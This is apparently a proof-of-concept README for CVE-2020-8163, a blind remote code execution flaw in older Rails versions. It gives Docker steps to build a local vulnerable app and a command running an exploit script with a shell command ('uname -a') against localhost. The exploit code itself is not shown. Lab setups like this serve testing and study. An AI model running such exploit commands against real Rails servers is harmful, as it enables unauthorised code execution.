CVE-2020-8163 PoC — Ruby on Rails 代码注入漏洞

Description

Enviroment and exploit to rce test

介绍

# CVE-2020-8163
Enviroment and exploit to CVE-2020-8163 Blind remote code execution of user-provided local names in Rails < 5.0.1 and < 4.2.11.2

## Create the enviroment
  1. create docker container mapping port 4000 to 8001 
   ```
   sudo docker run --rm -it -p 8001:4000 ruby:2.3 bash
   ```

  2. update and install some tools in container
   ```
   apt update && apt install unzip libz-dev libiconv-hook1 libiconv-hook-dev net-tools nodejs -y
   ```

  3. get id container 
  ```
  sudo docker ps
  ```

  4. zip and copy app to docker container
  ```
  zip -r test_cve-2020-8163.zip test_cve-2020-8163/
  sudo docker cp test_cve-2020-8163.zip id_container:/opt/
  ```
  
  5. unzip and bundle app
  ```
  cd opt 
  unzip testapp.zip
  cd test_cve-2020-8163
  bundle
  ```
  
  6. start server
  ```
  bundle exec rails s -p 4000 -b '0.0.0.0'
  ```

  7. if we don't want to repeat the whole process, we do a docker commit
  ```
  sudo docker commit id_container name_of_commit
  ```
  
## Exploit
  1. execute exploit
  ```
  ruby exploit.rb http://localhost:8001/main/index "uname -a"
  ```
    
  2. See log to view the output

文件快照

备注